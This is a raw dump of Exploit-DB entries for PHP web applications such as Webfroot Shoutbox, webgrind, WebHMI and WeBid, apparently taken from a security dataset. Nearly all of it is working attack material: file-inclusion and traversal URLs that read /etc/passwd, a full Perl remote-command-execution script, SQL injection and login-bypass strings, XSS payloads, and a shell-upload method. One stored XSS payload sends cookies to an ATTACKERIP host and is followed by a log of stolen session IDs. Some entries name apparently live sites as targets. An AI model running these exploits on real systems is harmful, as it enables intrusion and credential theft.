deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8025
Description: webframe 0.76 - Multiple File Inclusions
Type: webapps
Platform: php
Date: 2009-02-09
Author: ahmadbady

Exploit:
                          -----------------[-Rfi/Lfi-]-----------------

script:webframe 0.76
   
------------------------------------------------------------------
download from:http://downloads.sourceforge.net/phpwebframe/webframe-0.76-src.tar.gz?modtime=[PII_REDACTED]&big_mirror=0
   
------------------------------------------------------------------

........................................................
vul1: /mod/admin/doc/index.php line 3;

 include_once "$classFiles/xml.php";
==============================================
vul2:/mod/index.php line 5,7,9,11,13;

include_once "$classFiles/table.php";
//html class
include_once "$classFiles/html.php"; 
//Database class
include_once "$classFiles/mysql.php";
//Form class
include_once "$classFiles/form.php";
//Language file
include "../$currentmod/lang/$LANG.php"; ----> = lfi
============================================================
vul3: /mod/base/menu.php line 17;

  include_once "$classFiles/mysql.php
============================================================
-----------------------------------------------------

xpl rfi:

http://127.0..0.1/path/mod/admin/doc/index.php?classFiles=[shell.txt?]

http://127.0.0.1/path/mod/index.php?classFiles=[shell.txt?]

http://127.0.0..1/path/mod/base/menu.php?classFiles=[shell.txt?]

xpl lfi:

http://127.0.0.1/path/mod/index.php?currentmod=[Lfi]

http://127.0.0.1/path/mod/index.php?LANG=[Lfi]

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from[iran]
---------------------------------------------------

# milw0rm.com [2009-02-09]
Exploit-DB #22705
Description: Webfroot Shoutbox 2.32 - 'Expanded.php' Directory Traversal
Type: webapps
Platform: php
Date: 2003-06-02
Author: _6mO_HaCk

Exploit:
source: https://www.securityfocus.com/bid/7775/info

A problem in Shoutbox may result in traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to the expanded.php script, and could allow the viewing of potentially sensitive files by attackers. 

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../targetfile

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/passwd

http://www.example.com/shoutbox/expanded.php?conf=../../../../../../../etc/issue
Exploit-DB #22702
Description: Webfroot Shoutbox 2.32 - 'Expanded.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2003-06-02
Author: _6mO_HaCk

Exploit:
source: https://www.securityfocus.com/bid/7772/info

Shoutbox is prone to an issue that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient sanitization of input into the expanded.php script. 

#-------------------------------------------------------------------------
#
# expanded.php remote command execution Xploit
#
# Coded By _6mO_HaCk
#
# The Hackology Team
#
# Usage = perl expanded.pl <target> <port> <command>
#
# exp   = perl expanded.pl 127.0.0.1 80 ls
#       = perl expanded.pl localhost 80 touch+/tmp/owned

use IO::Socket;
use strict;

system(clear);
print "------------------------------------------\n";
print "--- expanded.php remote cmd execution  ---\n";
print "---              Xploit                ---\n";
print "---                                    ---\n";
print "---         Coded By _6mO_HaCk         ---\n";
print "---                                    ---\n";
print "--- Greetz to : effbeeye, D|NOOO       ---\n";
print "---             Thom4sss, DeV|L0Ty     ---\n";
print "---             MajNouN, |BiG-LuV|     ---\n";
print "---                                    ---\n";
print "---         The Hackology Team         ---\n";
print "------------------------------------------\n";

if(!defined($ARGV[0] && $ARGV[1] && $ARGV[2]))
{
   &usage;
}
my $host     = $ARGV[0];
my $port     = $ARGV[1];
my $cmd      = $ARGV[2];

my $conf     ="/tmp/.xploit";
my $sbdir    ="/shoutbox"; # define this to ur shoutbox dir if different
my $target   ="expanded.php?conf=";
my $Xploit   = "GET ${sbdir}/${target}${conf}&cmd=$cmd HTTP/1.1\nHost: 
$host\nConnection: Close\n\n";

my $tcpval   = getprotobyname('tcp');
my $serverIP = inet_aton($host);
my $serverAddr = sockaddr_in($ARGV[1], $serverIP);
my $protocol_name = "tcp";

my $ia       = inet_aton($host) 	   || die ("[-] Unable to resolve 
$host");
my $pa       = sockaddr_in($port, $ia)     || die ("[-] Unkown error");
my $proto    = getprotobyname('tcp')       || die ("[-] Unable to get 
protocol");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die ("[-] Unable to open 
socket");
connect(SOCK, $pa) 			   || die ("[-] Unable to connect 
to $host:$port");

print "[*] Executing $cmd on $host:$port ...\n";
sleep(2);

my $submit   = "$Xploit";   
send(SOCK,$submit,0);
close(SOCK);

sub usage {die("\n\n[*] Usage : perl $0 <TargetIP> <TargetPort> 
<CmdToRun>\n\n");}
print "\n";
print "\n[+] Command should be successfully executed\n";

#-------------------------------------------------------------------------
Exploit-DB #22671
Description: Webfroot Shoutbox 2.32 - 'URI' File Disclosure
Type: webapps
Platform: php
Date: 2003-05-29
Author: pokleyzz

Exploit:
source: https://www.securityfocus.com/bid/7737/info

Shoutbox is prone to directory traversal attacks. The vulnerability exists due to insufficient sanitization of user-supplied values to URI parameters.

An attacker can exploit this vulnerability by manipulating the value of the affected 'conf' URI parameter to obtain any files readable by the web server.

http://blablabla.com/shoutbox.php?conf=../../../../../../../etc/passwd
Exploit-DB #23474
Description: Webfroot Shoutbox 2.32 - 'Viewshoutbox.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-23
Author: Ben Drysdale

Exploit:
source: https://www.securityfocus.com/bid/9289/info

Webfroot Shoutbox is prone to a cross-site scripting vulnerability in the 'viewshoutbox.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software. 

http://www.example.com/shoutbox/viewshoutbox.php?error="><script>alert(document.cookie);</script>
Exploit-DB #3222
Description: Webfwlog 0.92 - 'debug.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-01-29
Author: GoLd_M

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ D.Script:ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-stable/All/webfwlog-0.92.tbz
+ D.Scrpit:http://webfwlog.sourceforge.net/
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ V.Code In : /include/debug.php | php.ini -> register globals = on
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ readfile("$conffile");
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 3xpl0!t
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ /include/debug.php?config[debug]=10&conffile=config.php
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Author:  GolD_M <hacker_ [at] w.cn>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Thanx : Tryag.Com & DwRaT.Com & Asb-May.Net & Milw0rm.com & H4cky0u.Com & Google.Com       +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-01-29]
Exploit-DB #28820
Description: Webgenius Goop Gallery 2.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-17
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/20554/info

GOOP Gallery is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/goopgallery/index.php?next=%BB&gallery=demo+gallery+1I=Bunny.JPG">[XSS-CODE]
http://www.example.com/goopgallery/index.php?gallery=demo+gallery+1I=Bunny.JPG">[XSS-CODE]
Exploit-DB #36883
Description: Webglimpse 2.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-02-26
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/52170/info

Webglimpse is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.

Webglimpse versions 2.18.8 and prior are affected. 

http://www.example.com/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T
Exploit-DB #18523
Description: webgrind 1.0 - 'file' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-25
Author: LiquidWorm

Exploit:
webgrind 1.0 (file param) Local File Inclusion Vulnerability


Vendor: Joakim Nygard and Jacob Oettinger
Product web page: http://code.google.com/p/webgrind
Affected version: 1.0 (v1.02 in trunk on github)

Summary: Webgrind is an Xdebug profiling web frontend in PHP5.

Desc: webgrind suffers from a file inlcusion vulnerability (LFI)
when input passed thru the 'file' parameter to index.php is not
properly verified before being used to include files. This can be
exploited to include files from local resources with directory
traversal attacks and URL encoded NULL bytes.

----------------------------------------
/index.php:
-----------

122: case 'fileviewer':
123:     $file = get('file');
124:     $line = get('line');

----------------------------------------

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Michael Meyer
                            michael.meyer greenbone net


Vendor status:

[22.02.2012] Vulnerability discovered.
[22.02.2012] Vendor notified.
[24.02.2012] No response from the vendor.
[25.02.2012] Public security advisory released.


Advisory ID: ZSL-2012-5075
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5075.php

Vendor: http://code.google.com/p/webgrind/issues/detail?id=66


22.02.2012

---


 http://<host>/webgrind/index.php?file=/etc/passwd&op=fileviewer
 http://<host>/webgrind/index.php?file=/boot.ini&op=fileviewer
Exploit-DB #51074
Description: Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE)
Type: webapps
Platform: php
Date: 2023-03-27
Author: Rafael Pedrero

Exploit:
# Exploit Title: Webgrind 1.1 - Reflected Cross-Site Scripting (XSS) & Remote Command Execution (RCE)
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-02-13
# Vendor Homepage: http://github.com/jokkedk/webgrind/
# Software Link : http://github.com/jokkedk/webgrind/
# Tested Version: 1.1
# Tested on:  Windows 10 using XAMPP

# Vulnerability Type: Remote Command Execution (RCE)

CVSS v3: 9.8
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-434

Vulnerability description: Remote Command Execution (RCE) vulnerability in Webgrind <= 1.1 allow remote unauthenticated attackers to inject OS commands via /<webgrind_path_directory>/index.php in dataFile parameter.

Proof of concept:

http://localhost/tools/webgrind/index.php?dataFile=0%27%26calc.exe%26%27&showFraction=0.9&op=function_graph

And the calc.exe opens.

Note: 0'&calc.exe&', & char is neccesary to execute the command.


# Vulnerability Type: reflected Cross-Site Scripting (XSS)

CVSS v3: 6.5
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79

Vulnerability description: Webgrind v1.1 and before, does not sufficiently
encode user-controlled inputs, resulting in a reflected Cross-Site
Scripting (XSS) vulnerability via the /<webgrind_path_directory>/index.php,
in file parameter.

Proof of concept:

http://localhost/webgrind/index.php?op=fileviewer&file=%3C%2Ftitle%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ctitle%3E

Response:
...
<title>
webgrind - fileviewer: </title><script>alert(1);</script><title> </title>
<script type="text/javascript" charset="utf-8">
Exploit-DB #50785
Description: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-23
Author: Antonio Cuomo

Exploit:
# Exploit Title: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 04/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://webhmi.com.ua/en/
# Version: WebHMI Firmware 4.1.1.7662
# Tested on: WebHMI Firmware 4.1.1.7662

#Steps to Reproduce

1. Login to admin account

2. Add a new register or create new dashboard
insert payload 

<script>var i=new Image;i.src="http://ATTACKERIP/?"+document.cookie;</script> 

in Title field and save.

# Dashboard section impact instantly all logged users.

#Listener log:
GET /?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP/1.1
Host: 192.168.0.169:8080
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-GPC: 1
Referer: http://192.168.0.153/
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Exploit-DB #6341
Description: WeBid 0.5.4 - 'item.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-01
Author: Stack

Exploit:
Application :: WeBid v0.5.4  sql injection vuln
Download :: http://www.sourceforge.net/projects/simpleauction
Found By ::Stack
http://www.site.il/item.php?id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*

# milw0rm.com [2008-09-01]
Exploit-DB #6339
Description: webid 0.5.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-31
Author: InjEctOr5

Exploit:
                         ||          ||   | ||       
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                 ( :   /    (_)    /           (   .
                   ================================
                      ==========================
                         ====================
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|



Application :: WeBid v0.5.4  Multi Exploit

Found By :: Fisher762 [ SQ7@w.cn ]

 Groups   : InjEctOr5


 
Download :: http://www.sourceforge.net/projects/simpleauction
 
Dork 1 ::   :P 

###########################[[[[EXPL0!T]]]]]#################################


[Bybpass]




Go to admin pannel


http://[Targ3t]/[webid]/admin/




username=  ' or 1=1/*

password= ass u like :)


__________________________________________________________________________


[ edit index css ]



u can edit  style css file [style.css]


http://[Targ3t]/webid/eledicss.php?nid=0&cd=themes/default&file=style.css


eX: http://www.fondoempleados.com/eledicss.php?nid=0&cd=themes/default&file=style.css



__________________________________________________________________________


[ view all Site SQL quires]




u can see all SQL quires 



http://[Targ3t]/webid/logs/cron.log


eX: http://www.hardlyeverwornit.com//logs/cron.log


###########################[[[[Th3 End]]]]]#################################

# milw0rm.com [2008-08-31]
Exploit-DB #8288
Description: WeBid 0.7.3 RC9 - 'upldgallery.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-03-25
Author: Ahmad Pay

Exploit:
-----------------------------------------------------------------------------------------

Author       : Ahmad Pay
Date         : March, 25 2009
Location     : Bojonegoro, Indonesia
Critical     : High
Impact       : System Access
Where        : From Remote
---------------------------------------------------------------------------
Application  : WeBid
version      : <= 0.7.3 RC9
Vendor       : http://sourceforge.net/projects/simpleauction

--------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

Anyone can upload shell php with extension eg: shell.php.jpg.


Poc/Exploit:
~~~~~
http://www.example.com/[path]/upldgallery.php

Then after upload shell right click to the pages to find your shell path

#######################################
eg:
</script>
</head>

<body bgcolor="#FFFFFF">
<div class="container">
<img src="uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg" style="float: left; margin-right: 10px;" id="thumbnail" alt="Create Thumbnail" />
<div style="float:left; position:relative; overflow:hidden; border:#000000 double; width:0; height:0;">

    <img src="uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg" style="position: relative;" alt="Thumbnail Preview" />
</div>
#######################################

Shell address above is : http://www.example.com/[path]/uploaded/211fa0e52f7c85cb5cc652f4864e4de9/shell.php.jpg

--------------------------------------------------------------------------

Dork:
~
Google : Powered by WeBid Â© 2008, 2009 Webid

# milw0rm.com [2009-03-25]
Exploit-DB #34989
Description: WeBid 0.85P1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-10
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44765/info

WeBid is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include a local file-include vulnerability and a cross-site-scripting vulnerability.

Exploiting these issues can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

WeBid 0.85P1 is vulnerable; other versions may be affected. 


http://www.example.com/webid/active_auctions.php?lan=../../../../../../../../windows/win.ini%00

http://www.example.com/webid/confirm.php?id=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #17408
Description: WeBid 1.0.2 - Persistent Cross-Site Scripting (via SQL Injection)
Type: webapps
Platform: php
Date: 2011-06-17
Author: Saif

Exploit:
# Exploit Title: presistent XSS through SQLi WeBid 1.0.2
# Google Dork: "powered by WeBid"
# Date: 15-06-2011
# Author: Saif El-Sherei
# Software Link: http://sourceforge.net/projects/simpleauction/
# Version: 1.0.2
# Tested on: Firefox 4, XAMPP


Info:

Open source php/mysql fully featured auction script. Perfect for those who
want to start their own auction site.

Details:

an attacker could inject malicous HTML/JS through a SQL injection flow in
the adsearch.php. the SQl injection flaw exist in the "maxprice" field (see
POC I). the SQL

injection attack cannot be elevated, so we leverage the SQL injection to
trigger an error that would write our malicious HTML/JS to the error log.
the XSS attack

happens when the admin or any user capable of viewing the error log from the
ACP.

POC I (SQL injection):

'0') ----> this will trigger the error
'0') OR (1)=(1 ------> will not trigger error


POC II (XSS through SQLi):


'0') <script>alert('XSS');</script>

Time Line:

15-06-2011 Vulnerability discovered
15-06-2011 Vendor notified
17-06-2011 No response from vendor, public disclosure



Regards,


Saif el-Sherei

OSCP